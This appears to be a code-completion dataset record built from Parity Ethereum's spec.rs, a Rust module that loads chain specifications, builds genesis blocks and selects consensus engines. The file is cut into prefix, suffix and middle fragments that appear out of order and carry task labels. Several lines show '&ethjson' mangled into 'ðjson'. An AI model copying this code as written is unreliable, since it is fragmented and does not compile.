header: encoded::Header::new(sync.header.into()),
total_difficulty: sync.total_difficulty.into(),
chts: sync.chts.into_iter().map(Into::into).collect(),
}
}
}
impl fmt::Display for SpecHardcodedSync {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
writeln!(f, "{{")?;
writeln!(f, r#"header": "{:?},"#, self.header)?;
writeln!(f, r#"total_difficulty": "{:?},"#, self.total_difficulty)?;
writeln!(f, r#"chts": {:#?}"#, self.chts.iter().map(|x| format!(r#"{}"#, x)).collect::<Vec<_>>())?;
writeln!(f, "}}")
}
}
/// Load from JSON object.
fn load_from(spec_params: SpecParams, s: ethjson::spec::Spec) -> Result<Spec, Error> {
let builtins = s.accounts
.builtins()
.into_iter()
.map(|p| (p.0.into(), From::from(p.1)))
.collect();
let g = Genesis::from(s.genesis);
let GenericSeal(seal_rlp) = g.seal.into();
let params = CommonParams::from(s.params);
let hardcoded_sync = s.hardcoded_sync.map(Into::into);
let engine = Spec::engine(spec_params, s.engine, params, builtins);
let author = g.author;
let timestamp = g.timestamp;
let difficulty = g.difficulty;
let constructors: Vec<_> = s.accounts
.constructors()
.into_iter()
.map(|(a, c)| (a.into(), c.into()))
.collect();
let genesis_state: PodState = s.accounts.into();
let (state_root, _) = run_constructors(
&genesis_state,
&constructors,
&*engine,
author,
timestamp,
difficulty,
&Default::default(),
BasicBackend(journaldb::new_memory_db()),
)?;
let s = Spec {
engine,
name: s.name.clone().into(),
data_dir: s.data_dir.unwrap_or(s.name).into(),
nodes: s.nodes.unwrap_or_else(Vec::new),
parent_hash: g.parent_hash,
transactions_root: g.transactions_root,
receipts_root: g.receipts_root,
author,
difficulty,
gas_limit: g.gas_limit,
gas_used: g.gas_used,
timestamp,
extra_data: g.extra_data,
seal_rlp,
hardcoded_sync,
constructors,
genesis_state,
state_root,
};
Ok(s)
}
impl Spec {
// create an instance of an Ethereum state machine, minus consensus logic.
fn machine(
engine_spec: ðjson::spec::Engine,
params: CommonParams,
builtins: BTreeMap<Address, Builtin>,
) -> Machine {
if let ethjson::spec::Engine::Ethash(ref ethash) = *engine_spec | else {
Machine::regular(params, builtins)
}
}
/// Convert engine spec into a arc'd Engine of the right underlying type.
/// TODO avoid this hard-coded nastiness - use dynamic-linked plugin framework instead.
fn engine(
spec_params: SpecParams,
engine_spec: ethjson::spec::Engine,
params: CommonParams,
builtins: BTreeMap<Address, Builtin>,
) -> Arc<dyn Engine> {
let machine = Self::machine(&engine_spec, params, builtins);
match engine_spec {
ethjson::spec::Engine::Null(null) => Arc::new(NullEngine::new(null.params.into(), machine)),
ethjson::spec::Engine::Ethash(ethash) => Arc::new(Ethash::new(spec_params.cache_dir, ethash.params.into(), machine, spec_params.optimization_setting)),
ethjson::spec::Engine::InstantSeal(Some(instant_seal)) => Arc::new(InstantSeal::new(instant_seal.params.into(), machine)),
ethjson::spec::Engine::InstantSeal(None) => Arc::new(InstantSeal::new(InstantSealParams::default(), machine)),
ethjson::spec::Engine::BasicAuthority(basic_authority) => Arc::new(BasicAuthority::new(basic_authority.params.into(), machine)),
ethjson::spec::Engine::Clique(clique) => Clique::new(clique.params.into(), machine)
.expect("Failed to start Clique consensus engine."),
ethjson::spec::Engine::AuthorityRound(authority_round) => AuthorityRound::new(authority_round.params.into(), machine)
.expect("Failed to start AuthorityRound consensus engine."),
}
}
/// Get common blockchain parameters.
pub fn params(&self) -> &CommonParams {
&self.engine.params()
}
/// Get the configured Network ID.
pub fn network_id(&self) -> u64 {
self.params().network_id
}
/// Get the chain ID used for signing.
pub fn chain_id(&self) -> u64 {
self.params().chain_id
}
/// Get the configured subprotocol name.
pub fn subprotocol_name(&self) -> String {
self.params().subprotocol_name.clone()
}
/// Get the configured network fork block.
pub fn fork_block(&self) -> Option<(BlockNumber, H256)> {
self.params().fork_block
}
/// Get the header of the genesis block.
pub fn genesis_header(&self) -> Header {
let mut header: Header = Default::default();
header.set_parent_hash(self.parent_hash.clone());
header.set_timestamp(self.timestamp);
header.set_number(0);
header.set_author(self.author.clone());
header.set_transactions_root(self.transactions_root.clone());
header.set_uncles_hash(keccak(RlpStream::new_list(0).out()));
header.set_extra_data(self.extra_data.clone());
header.set_state_root(self.state_root);
header.set_receipts_root(self.receipts_root.clone());
header.set_log_bloom(Bloom::default());
header.set_gas_used(self.gas_used.clone());
header.set_gas_limit(self.gas_limit.clone());
header.set_difficulty(self.difficulty.clone());
header.set_seal({
let r = Rlp::new(&self.seal_rlp);
r.iter().map(|f| f.as_raw().to_vec()).collect()
});
trace!(target: "spec", "Header hash is {}", header.hash());
header
}
/// Compose the genesis block for this chain.
pub fn genesis_block(&self) -> Bytes {
let empty_list = RlpStream::new_list(0).out();
let header = self.genesis_header();
let mut ret = RlpStream::new_list(3);
ret.append(&header);
ret.append_raw(&empty_list, 1);
ret.append_raw(&empty_list, 1);
ret.out()
}
/// Overwrite the genesis components.
pub fn overwrite_genesis_params(&mut self, g: Genesis) {
let GenericSeal(seal_rlp) = g.seal.into();
self.parent_hash = g.parent_hash;
self.transactions_root = g.transactions_root;
self.receipts_root = g.receipts_root;
self.author = g.author;
self.difficulty = g.difficulty;
self.gas_limit = g.gas_limit;
self.gas_used = g.gas_used;
self.timestamp = g.timestamp;
self.extra_data = g.extra_data;
self.seal_rlp = seal_rlp;
}
/// Alter the value of the genesis state.
pub fn set_genesis_state(&mut self, s: PodState) -> Result<(), Error> {
self.genesis_state = s;
let (root, _) = run_constructors(
&self.genesis_state,
&self.constructors,
&*self.engine,
self.author,
self.timestamp,
self.difficulty,
&Default::default(),
BasicBackend(journaldb::new_memory_db()),
)?;
self.state_root = root;
Ok(())
}
/// Ensure that the given state DB has the trie nodes in for the genesis state.
pub fn ensure_db_good<T: Backend>(&self, db: T, factories: &Factories) -> Result<T, Error> {
if db.as_hash_db().contains(&self.state_root, hash_db::EMPTY_PREFIX) {
return Ok(db);
}
// TODO: could optimize so we don't re-run, but `ensure_db_good` is barely ever
// called anyway.
let (root, db) = run_constructors(
&self.genesis_state,
&self.constructors,
&*self.engine,
self.author,
self.timestamp,
self.difficulty,
factories,
db
)?;
assert_eq!(root, self.state_root, "Spec's state root has not been precomputed correctly.");
Ok(db)
}
/// Loads just the state machine from a json file.
pub fn load_machine<R: Read>(reader: R) -> Result<Machine, Error> {
ethjson::spec::Spec::load(reader)
.map_err(|e| Error::Msg(e.to_string()))
.map(|s| {
let builtins = s.accounts.builtins().into_iter().map(|p| (p.0.into(), From::from(p.1))).collect();
let params = CommonParams::from(s.params);
Spec::machine(&s.engine, params, builtins)
})
}
/// Loads spec from json file. Provide factories for executing contracts and ensuring
/// storage goes to the right place.
pub fn load<'a, T: Into<SpecParams<'a>>, R: Read>(params: T, reader: R) -> Result<Self, Error> {
ethjson::spec::Spec::load(reader)
.map_err(|e| Error::Msg(e.to_string()))
.and_then(|x| load_from(params.into(), x))
}
/// initialize genesis epoch data, using in-memory database for
/// constructor.
pub fn genesis_epoch_data(&self) -> Result<Vec<u8>, String> {
let genesis = self.genesis_header();
let factories = Default::default();
let mut db = journaldb::new(
Arc::new(kvdb_memorydb::create(0)),
journaldb::Algorithm::Archive,
None,
);
self.ensure_db_good(BasicBackend(db.as_hash_db_mut()), &factories)
.map_err(|e| format!("Unable to initialize genesis state: {}", e))?;
let call = |a, d| {
let mut db = db.boxed_clone();
let env_info = evm::EnvInfo {
number: 0,
author: *genesis.author(),
timestamp: genesis.timestamp(),
difficulty: *genesis.difficulty(),
gas_limit: U256::max_value(),
last_hashes: Arc::new(Vec::new()),
gas_used: 0.into(),
};
let from = Address::zero();
let tx = Transaction {
nonce: self.engine.account_start_nonce(0),
action: Action::Call(a),
gas: U256::max_value(),
gas_price: U256::default(),
value: U256::default(),
data: d,
}.fake_sign(from);
let res = executive_state::prove_transaction_virtual(
db.as_hash_db_mut(),
*genesis.state_root(),
&tx,
self.engine.machine(),
&env_info,
factories.clone(),
);
res.map(|(out, proof)| {
(out, proof.into_iter().map(|x| x.into_vec()).collect())
}).ok_or_else(|| "Failed to prove call: insufficient state".into())
};
self.engine.genesis_epoch_data(&genesis, &call)
}
}
#[cfg(test)]
mod tests {
use std::str::FromStr;
use account_state::State;
use common_types::{view, views::BlockView};
use ethereum_types::{Address, H256};
use ethcore::test_helpers::get_temp_state_db;
use tempdir::TempDir;
use super::Spec;
#[test]
fn test_load_empty() {
let tempdir = TempDir::new("").unwrap();
assert!(Spec::load(&tempdir.path(), &[] as &[u8]).is_err());
}
#[test]
fn test_chain() {
let test_spec = crate::new_test();
assert_eq!(
test_spec.state_root,
H256::from_str("f3f4696bbf3b3b07775128eb7a3763279a394e382130f27c21e70233e04946a9").unwrap()
);
let genesis = test_spec.genesis_block();
assert_eq!(
view!(BlockView, &genesis).header_view().hash(),
H256::from_str("0cd786a2425d16f152c658316c423e6ce1181e15c3295826d7c9904cba9ce303").unwrap()
);
}
#[test]
fn genesis_constructor() {
let _ = ::env_logger::try_init();
let spec = crate::new_test_constructor();
let db = spec.ensure_db_good(get_temp_state_db(), &Default::default())
.unwrap();
let state = State::from_existing(
db.boxed_clone(),
spec.state_root,
spec.engine.account_start_nonce(0),
Default::default(),
).unwrap();
let expected = H256::from_str("0000000000000000000000000000000000000000000000000000000000000001").unwrap();
let address = Address::from_str("0000000000000000000000000000000000001337").unwrap();
assert_eq!(state.storage_at(&address, &H256::zero()).unwrap(), expected);
assert_eq!(state.balance(&address).unwrap(), 1.into());
}
}
| {
Machine::with_ethash_extensions(params, builtins, ethash.params.clone().into())
} | conditional_block |
spec.rs | // Copyright 2015-2019 Parity Technologies (UK) Ltd.
// This file is part of Parity Ethereum.
// Parity Ethereum is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Parity Ethereum is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Parity Ethereum. If not, see <http://www.gnu.org/licenses/>.
//! Parameters for a block chain.
use std::{
collections::BTreeMap,
fmt,
io::Read,
path::Path,
sync::Arc,
};
use common_types::{
BlockNumber,
header::Header,
encoded,
engines::{OptimizeFor, params::CommonParams},
errors::EthcoreError as Error,
transaction::{Action, Transaction},
};
use account_state::{Backend, State, backend::Basic as BasicBackend};
use authority_round::AuthorityRound;
use basic_authority::BasicAuthority;
use bytes::Bytes;
use builtin::Builtin;
use clique::Clique;
use engine::Engine;
use ethash_engine::Ethash;
use ethereum_types::{H256, Bloom, U256, Address};
use ethjson;
use instant_seal::{InstantSeal, InstantSealParams};
use keccak_hash::{KECCAK_NULL_RLP, keccak};
use log::{trace, warn};
use machine::{executive::Executive, Machine, substate::Substate};
use null_engine::NullEngine;
use pod::PodState;
use rlp::{Rlp, RlpStream};
use trace::{NoopTracer, NoopVMTracer};
use trie_vm_factories::Factories;
use vm::{EnvInfo, CallType, ActionValue, ActionParams, ParamsType};
use crate::{
Genesis,
seal::Generic as GenericSeal,
};
/// Runtime parameters for the spec that are related to how the software should run the chain,
/// rather than integral properties of the chain itself.
pub struct SpecParams<'a> {
/// The path to the folder used to cache nodes. This is typically /tmp/ on Unix-like systems
pub cache_dir: &'a Path,
/// Whether to run slower at the expense of better memory usage, or run faster while using
/// more
/// memory. This may get more fine-grained in the future but for now is simply a binary
/// option.
pub optimization_setting: Option<OptimizeFor>,
}
impl<'a> SpecParams<'a> {
/// Create from a cache path, with null values for the other fields
pub fn from_path(path: &'a Path) -> Self {
SpecParams {
cache_dir: path,
optimization_setting: None,
}
}
/// Create from a cache path and an optimization setting
pub fn new(path: &'a Path, optimization: OptimizeFor) -> Self {
SpecParams {
cache_dir: path,
optimization_setting: Some(optimization),
}
}
}
impl<'a, T: AsRef<Path>> From<&'a T> for SpecParams<'a> {
fn from(path: &'a T) -> Self {
Self::from_path(path.as_ref())
}
}
/// given a pre-constructor state, run all the given constructors and produce a new state and
/// state root.
fn run_constructors<T: Backend>(
genesis_state: &PodState,
constructors: &[(Address, Bytes)],
engine: &dyn Engine,
author: Address,
timestamp: u64,
difficulty: U256,
factories: &Factories,
mut db: T
) -> Result<(H256, T), Error> {
let mut root = KECCAK_NULL_RLP;
// basic accounts in spec.
{
let mut t = factories.trie.create(db.as_hash_db_mut(), &mut root);
for (address, account) in genesis_state.get().iter() {
t.insert(address.as_bytes(), &account.rlp())?;
}
}
for (address, account) in genesis_state.get().iter() {
db.note_non_null_account(address);
account.insert_additional(
&mut *factories.accountdb.create(
db.as_hash_db_mut(),
keccak(address),
),
&factories.trie,
);
}
let start_nonce = engine.account_start_nonce(0);
let mut state = State::from_existing(db, root, start_nonce, factories.clone())?;
// Execute contract constructors.
let env_info = EnvInfo {
number: 0,
author,
timestamp,
difficulty,
last_hashes: Default::default(),
gas_used: U256::zero(),
gas_limit: U256::max_value(),
};
let from = Address::zero();
for &(ref address, ref constructor) in constructors.iter() {
trace!(target: "spec", "run_constructors: Creating a contract at {}.", address);
trace!(target: "spec", " .. root before = {}", state.root());
let params = ActionParams {
code_address: address.clone(),
code_hash: Some(keccak(constructor)),
code_version: U256::zero(),
address: address.clone(),
sender: from.clone(),
origin: from.clone(),
gas: U256::max_value(),
gas_price: Default::default(),
value: ActionValue::Transfer(Default::default()),
code: Some(Arc::new(constructor.clone())),
data: None,
call_type: CallType::None,
params_type: ParamsType::Embedded,
};
let mut substate = Substate::new();
{
let machine = engine.machine();
let schedule = machine.schedule(env_info.number);
let mut exec = Executive::new(&mut state, &env_info, &machine, &schedule);
// failing create is not a bug
if let Err(e) = exec.create(params, &mut substate, &mut NoopTracer, &mut NoopVMTracer) {
warn!(target: "spec", "Genesis constructor execution at {} failed: {}.", address, e);
}
}
let _ = state.commit()?;
}
Ok(state.drop())
}
/// Parameters for a block chain; includes both those intrinsic to the design of the
/// chain and those to be interpreted by the active chain engine.
pub struct Spec {
/// User friendly spec name.
pub name: String,
/// Engine specified by json file.
pub engine: Arc<dyn Engine>,
/// Name of the subdir inside the main data dir to use for chain data and settings.
pub data_dir: String,
/// Known nodes on the network in enode format.
pub nodes: Vec<String>,
/// The genesis block's parent hash field.
pub parent_hash: H256,
/// The genesis block's author field.
pub author: Address,
/// The genesis block's difficulty field.
pub difficulty: U256,
/// The genesis block's gas limit field.
pub gas_limit: U256,
/// The genesis block's gas used field.
pub gas_used: U256,
/// The genesis block's timestamp field.
pub timestamp: u64,
/// Transactions root of the genesis block. Should be KECCAK_NULL_RLP.
pub transactions_root: H256,
/// Receipts root of the genesis block. Should be KECCAK_NULL_RLP.
pub receipts_root: H256,
/// The genesis block's extra data field.
pub extra_data: Bytes,
/// Each seal field, expressed as RLP, concatenated.
pub seal_rlp: Bytes,
/// Hardcoded synchronization. Allows the light client to immediately jump to a specific block.
pub hardcoded_sync: Option<SpecHardcodedSync>,
/// Contract constructors to be executed on genesis.
pub constructors: Vec<(Address, Bytes)>,
/// May be prepopulated if we know this in advance.
pub state_root: H256,
/// Genesis state as plain old data.
pub genesis_state: PodState,
}
/// Part of `Spec`. Describes the hardcoded synchronization parameters.
pub struct SpecHardcodedSync {
/// Header of the block to jump to for hardcoded sync, and total difficulty.
pub header: encoded::Header,
/// Total difficulty of the block to jump to.
pub total_difficulty: U256,
/// List of hardcoded CHTs, in order. If `hardcoded_sync` is set, the CHTs should include the
/// header of `hardcoded_sync`.
pub chts: Vec<H256>,
}
impl From<ethjson::spec::HardcodedSync> for SpecHardcodedSync {
fn from(sync: ethjson::spec::HardcodedSync) -> Self {
SpecHardcodedSync {
header: encoded::Header::new(sync.header.into()),
total_difficulty: sync.total_difficulty.into(),
chts: sync.chts.into_iter().map(Into::into).collect(),
}
}
}
impl fmt::Display for SpecHardcodedSync {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
writeln!(f, "{{")?;
writeln!(f, r#"header": "{:?},"#, self.header)?;
writeln!(f, r#"total_difficulty": "{:?},"#, self.total_difficulty)?;
writeln!(f, r#"chts": {:#?}"#, self.chts.iter().map(|x| format!(r#"{}"#, x)).collect::<Vec<_>>())?;
writeln!(f, "}}")
}
}
/// Load from JSON object.
fn load_from(spec_params: SpecParams, s: ethjson::spec::Spec) -> Result<Spec, Error> {
let builtins = s.accounts
.builtins()
.into_iter()
.map(|p| (p.0.into(), From::from(p.1)))
.collect();
let g = Genesis::from(s.genesis);
let GenericSeal(seal_rlp) = g.seal.into();
let params = CommonParams::from(s.params);
let hardcoded_sync = s.hardcoded_sync.map(Into::into);
let engine = Spec::engine(spec_params, s.engine, params, builtins);
let author = g.author;
let timestamp = g.timestamp;
let difficulty = g.difficulty;
let constructors: Vec<_> = s.accounts
.constructors()
.into_iter()
.map(|(a, c)| (a.into(), c.into()))
.collect();
let genesis_state: PodState = s.accounts.into();
let (state_root, _) = run_constructors(
&genesis_state,
&constructors,
&*engine,
author,
timestamp,
difficulty,
&Default::default(),
BasicBackend(journaldb::new_memory_db()),
)?;
let s = Spec {
engine,
name: s.name.clone().into(),
data_dir: s.data_dir.unwrap_or(s.name).into(),
nodes: s.nodes.unwrap_or_else(Vec::new),
parent_hash: g.parent_hash,
transactions_root: g.transactions_root,
receipts_root: g.receipts_root,
author,
difficulty,
gas_limit: g.gas_limit,
gas_used: g.gas_used,
timestamp,
extra_data: g.extra_data,
seal_rlp,
hardcoded_sync,
constructors,
genesis_state,
state_root,
};
Ok(s)
}
impl Spec {
// create an instance of an Ethereum state machine, minus consensus logic.
fn machine(
engine_spec: ðjson::spec::Engine,
params: CommonParams,
builtins: BTreeMap<Address, Builtin>,
) -> Machine {
if let ethjson::spec::Engine::Ethash(ref ethash) = *engine_spec {
Machine::with_ethash_extensions(params, builtins, ethash.params.clone().into())
} else {
Machine::regular(params, builtins)
}
}
/// Convert engine spec into a arc'd Engine of the right underlying type.
/// TODO avoid this hard-coded nastiness - use dynamic-linked plugin framework instead.
fn engine(
spec_params: SpecParams,
engine_spec: ethjson::spec::Engine,
params: CommonParams,
builtins: BTreeMap<Address, Builtin>,
) -> Arc<dyn Engine> {
let machine = Self::machine(&engine_spec, params, builtins);
match engine_spec {
ethjson::spec::Engine::Null(null) => Arc::new(NullEngine::new(null.params.into(), machine)),
ethjson::spec::Engine::Ethash(ethash) => Arc::new(Ethash::new(spec_params.cache_dir, ethash.params.into(), machine, spec_params.optimization_setting)),
ethjson::spec::Engine::InstantSeal(Some(instant_seal)) => Arc::new(InstantSeal::new(instant_seal.params.into(), machine)),
ethjson::spec::Engine::InstantSeal(None) => Arc::new(InstantSeal::new(InstantSealParams::default(), machine)),
ethjson::spec::Engine::BasicAuthority(basic_authority) => Arc::new(BasicAuthority::new(basic_authority.params.into(), machine)),
ethjson::spec::Engine::Clique(clique) => Clique::new(clique.params.into(), machine)
.expect("Failed to start Clique consensus engine."),
ethjson::spec::Engine::AuthorityRound(authority_round) => AuthorityRound::new(authority_round.params.into(), machine)
.expect("Failed to start AuthorityRound consensus engine."),
}
}
/// Get common blockchain parameters.
pub fn params(&self) -> &CommonParams {
&self.engine.params()
}
/// Get the configured Network ID.
pub fn network_id(&self) -> u64 {
self.params().network_id
}
/// Get the chain ID used for signing.
pub fn chain_id(&self) -> u64 {
self.params().chain_id
}
/// Get the configured subprotocol name.
pub fn subprotocol_name(&self) -> String {
self.params().subprotocol_name.clone()
}
/// Get the configured network fork block.
pub fn fork_block(&self) -> Option<(BlockNumber, H256)> {
self.params().fork_block
}
/// Get the header of the genesis block.
pub fn genesis_header(&self) -> Header {
let mut header: Header = Default::default();
header.set_parent_hash(self.parent_hash.clone());
header.set_timestamp(self.timestamp);
header.set_number(0);
header.set_author(self.author.clone());
header.set_transactions_root(self.transactions_root.clone());
header.set_uncles_hash(keccak(RlpStream::new_list(0).out()));
header.set_extra_data(self.extra_data.clone());
header.set_state_root(self.state_root);
header.set_receipts_root(self.receipts_root.clone());
header.set_log_bloom(Bloom::default());
header.set_gas_used(self.gas_used.clone());
header.set_gas_limit(self.gas_limit.clone());
header.set_difficulty(self.difficulty.clone());
header.set_seal({
let r = Rlp::new(&self.seal_rlp);
r.iter().map(|f| f.as_raw().to_vec()).collect()
});
trace!(target: "spec", "Header hash is {}", header.hash());
header
}
/// Compose the genesis block for this chain.
pub fn genesis_block(&self) -> Bytes {
let empty_list = RlpStream::new_list(0).out();
let header = self.genesis_header();
let mut ret = RlpStream::new_list(3);
ret.append(&header);
ret.append_raw(&empty_list, 1);
ret.append_raw(&empty_list, 1);
ret.out()
}
/// Overwrite the genesis components.
pub fn overwrite_genesis_params(&mut self, g: Genesis) {
let GenericSeal(seal_rlp) = g.seal.into();
self.parent_hash = g.parent_hash;
self.transactions_root = g.transactions_root;
self.receipts_root = g.receipts_root;
self.author = g.author;
self.difficulty = g.difficulty;
self.gas_limit = g.gas_limit;
self.gas_used = g.gas_used;
self.timestamp = g.timestamp;
self.extra_data = g.extra_data;
self.seal_rlp = seal_rlp;
}
/// Alter the value of the genesis state.
pub fn set_genesis_state(&mut self, s: PodState) -> Result<(), Error> {
self.genesis_state = s;
let (root, _) = run_constructors(
&self.genesis_state,
&self.constructors,
&*self.engine,
self.author,
self.timestamp,
self.difficulty,
&Default::default(),
BasicBackend(journaldb::new_memory_db()),
)?;
self.state_root = root;
Ok(())
}
/// Ensure that the given state DB has the trie nodes in for the genesis state.
pub fn ensure_db_good<T: Backend>(&self, db: T, factories: &Factories) -> Result<T, Error> {
if db.as_hash_db().contains(&self.state_root, hash_db::EMPTY_PREFIX) {
return Ok(db);
}
// TODO: could optimize so we don't re-run, but `ensure_db_good` is barely ever
// called anyway.
let (root, db) = run_constructors(
&self.genesis_state,
&self.constructors,
&*self.engine,
self.author,
self.timestamp,
self.difficulty,
factories,
db
)?;
assert_eq!(root, self.state_root, "Spec's state root has not been precomputed correctly.");
Ok(db)
}
/// Loads just the state machine from a json file.
pub fn load_machine<R: Read>(reader: R) -> Result<Machine, Error> {
ethjson::spec::Spec::load(reader)
.map_err(|e| Error::Msg(e.to_string()))
.map(|s| {
let builtins = s.accounts.builtins().into_iter().map(|p| (p.0.into(), From::from(p.1))).collect(); | })
}
/// Loads spec from json file. Provide factories for executing contracts and ensuring
/// storage goes to the right place.
pub fn load<'a, T: Into<SpecParams<'a>>, R: Read>(params: T, reader: R) -> Result<Self, Error> {
ethjson::spec::Spec::load(reader)
.map_err(|e| Error::Msg(e.to_string()))
.and_then(|x| load_from(params.into(), x))
}
/// initialize genesis epoch data, using in-memory database for
/// constructor.
pub fn genesis_epoch_data(&self) -> Result<Vec<u8>, String> {
let genesis = self.genesis_header();
let factories = Default::default();
let mut db = journaldb::new(
Arc::new(kvdb_memorydb::create(0)),
journaldb::Algorithm::Archive,
None,
);
self.ensure_db_good(BasicBackend(db.as_hash_db_mut()), &factories)
.map_err(|e| format!("Unable to initialize genesis state: {}", e))?;
let call = |a, d| {
let mut db = db.boxed_clone();
let env_info = evm::EnvInfo {
number: 0,
author: *genesis.author(),
timestamp: genesis.timestamp(),
difficulty: *genesis.difficulty(),
gas_limit: U256::max_value(),
last_hashes: Arc::new(Vec::new()),
gas_used: 0.into(),
};
let from = Address::zero();
let tx = Transaction {
nonce: self.engine.account_start_nonce(0),
action: Action::Call(a),
gas: U256::max_value(),
gas_price: U256::default(),
value: U256::default(),
data: d,
}.fake_sign(from);
let res = executive_state::prove_transaction_virtual(
db.as_hash_db_mut(),
*genesis.state_root(),
&tx,
self.engine.machine(),
&env_info,
factories.clone(),
);
res.map(|(out, proof)| {
(out, proof.into_iter().map(|x| x.into_vec()).collect())
}).ok_or_else(|| "Failed to prove call: insufficient state".into())
};
self.engine.genesis_epoch_data(&genesis, &call)
}
}
#[cfg(test)]
mod tests {
use std::str::FromStr;
use account_state::State;
use common_types::{view, views::BlockView};
use ethereum_types::{Address, H256};
use ethcore::test_helpers::get_temp_state_db;
use tempdir::TempDir;
use super::Spec;
#[test]
fn test_load_empty() {
let tempdir = TempDir::new("").unwrap();
assert!(Spec::load(&tempdir.path(), &[] as &[u8]).is_err());
}
#[test]
fn test_chain() {
let test_spec = crate::new_test();
assert_eq!(
test_spec.state_root,
H256::from_str("f3f4696bbf3b3b07775128eb7a3763279a394e382130f27c21e70233e04946a9").unwrap()
);
let genesis = test_spec.genesis_block();
assert_eq!(
view!(BlockView, &genesis).header_view().hash(),
H256::from_str("0cd786a2425d16f152c658316c423e6ce1181e15c3295826d7c9904cba9ce303").unwrap()
);
}
#[test]
fn genesis_constructor() {
let _ = ::env_logger::try_init();
let spec = crate::new_test_constructor();
let db = spec.ensure_db_good(get_temp_state_db(), &Default::default())
.unwrap();
let state = State::from_existing(
db.boxed_clone(),
spec.state_root,
spec.engine.account_start_nonce(0),
Default::default(),
).unwrap();
let expected = H256::from_str("0000000000000000000000000000000000000000000000000000000000000001").unwrap();
let address = Address::from_str("0000000000000000000000000000000000001337").unwrap();
assert_eq!(state.storage_at(&address, &H256::zero()).unwrap(), expected);
assert_eq!(state.balance(&address).unwrap(), 1.into());
}
} | let params = CommonParams::from(s.params);
Spec::machine(&s.engine, params, builtins) | random_line_split |
spec.rs | // Copyright 2015-2019 Parity Technologies (UK) Ltd.
// This file is part of Parity Ethereum.
// Parity Ethereum is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Parity Ethereum is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Parity Ethereum. If not, see <http://www.gnu.org/licenses/>.
//! Parameters for a block chain.
use std::{
collections::BTreeMap,
fmt,
io::Read,
path::Path,
sync::Arc,
};
use common_types::{
BlockNumber,
header::Header,
encoded,
engines::{OptimizeFor, params::CommonParams},
errors::EthcoreError as Error,
transaction::{Action, Transaction},
};
use account_state::{Backend, State, backend::Basic as BasicBackend};
use authority_round::AuthorityRound;
use basic_authority::BasicAuthority;
use bytes::Bytes;
use builtin::Builtin;
use clique::Clique;
use engine::Engine;
use ethash_engine::Ethash;
use ethereum_types::{H256, Bloom, U256, Address};
use ethjson;
use instant_seal::{InstantSeal, InstantSealParams};
use keccak_hash::{KECCAK_NULL_RLP, keccak};
use log::{trace, warn};
use machine::{executive::Executive, Machine, substate::Substate};
use null_engine::NullEngine;
use pod::PodState;
use rlp::{Rlp, RlpStream};
use trace::{NoopTracer, NoopVMTracer};
use trie_vm_factories::Factories;
use vm::{EnvInfo, CallType, ActionValue, ActionParams, ParamsType};
use crate::{
Genesis,
seal::Generic as GenericSeal,
};
/// Runtime parameters for the spec that are related to how the software should run the chain,
/// rather than integral properties of the chain itself.
pub struct SpecParams<'a> {
/// The path to the folder used to cache nodes. This is typically /tmp/ on Unix-like systems
pub cache_dir: &'a Path,
/// Whether to run slower at the expense of better memory usage, or run faster while using
/// more
/// memory. This may get more fine-grained in the future but for now is simply a binary
/// option.
pub optimization_setting: Option<OptimizeFor>,
}
impl<'a> SpecParams<'a> {
/// Create from a cache path, with null values for the other fields
pub fn from_path(path: &'a Path) -> Self {
SpecParams {
cache_dir: path,
optimization_setting: None,
}
}
/// Create from a cache path and an optimization setting
pub fn new(path: &'a Path, optimization: OptimizeFor) -> Self {
SpecParams {
cache_dir: path,
optimization_setting: Some(optimization),
}
}
}
impl<'a, T: AsRef<Path>> From<&'a T> for SpecParams<'a> {
fn from(path: &'a T) -> Self {
Self::from_path(path.as_ref())
}
}
/// given a pre-constructor state, run all the given constructors and produce a new state and
/// state root.
fn run_constructors<T: Backend>(
genesis_state: &PodState,
constructors: &[(Address, Bytes)],
engine: &dyn Engine,
author: Address,
timestamp: u64,
difficulty: U256,
factories: &Factories,
mut db: T
) -> Result<(H256, T), Error> {
let mut root = KECCAK_NULL_RLP;
// basic accounts in spec.
{
let mut t = factories.trie.create(db.as_hash_db_mut(), &mut root);
for (address, account) in genesis_state.get().iter() {
t.insert(address.as_bytes(), &account.rlp())?;
}
}
for (address, account) in genesis_state.get().iter() {
db.note_non_null_account(address);
account.insert_additional(
&mut *factories.accountdb.create(
db.as_hash_db_mut(),
keccak(address),
),
&factories.trie,
);
}
let start_nonce = engine.account_start_nonce(0);
let mut state = State::from_existing(db, root, start_nonce, factories.clone())?;
// Execute contract constructors.
let env_info = EnvInfo {
number: 0,
author,
timestamp,
difficulty,
last_hashes: Default::default(),
gas_used: U256::zero(),
gas_limit: U256::max_value(),
};
let from = Address::zero();
for &(ref address, ref constructor) in constructors.iter() {
trace!(target: "spec", "run_constructors: Creating a contract at {}.", address);
trace!(target: "spec", " .. root before = {}", state.root());
let params = ActionParams {
code_address: address.clone(),
code_hash: Some(keccak(constructor)),
code_version: U256::zero(),
address: address.clone(),
sender: from.clone(),
origin: from.clone(),
gas: U256::max_value(),
gas_price: Default::default(),
value: ActionValue::Transfer(Default::default()),
code: Some(Arc::new(constructor.clone())),
data: None,
call_type: CallType::None,
params_type: ParamsType::Embedded,
};
let mut substate = Substate::new();
{
let machine = engine.machine();
let schedule = machine.schedule(env_info.number);
let mut exec = Executive::new(&mut state, &env_info, &machine, &schedule);
// failing create is not a bug
if let Err(e) = exec.create(params, &mut substate, &mut NoopTracer, &mut NoopVMTracer) {
warn!(target: "spec", "Genesis constructor execution at {} failed: {}.", address, e);
}
}
let _ = state.commit()?;
}
Ok(state.drop())
}
/// Parameters for a block chain; includes both those intrinsic to the design of the
/// chain and those to be interpreted by the active chain engine.
pub struct Spec {
/// User friendly spec name.
pub name: String,
/// Engine specified by json file.
pub engine: Arc<dyn Engine>,
/// Name of the subdir inside the main data dir to use for chain data and settings.
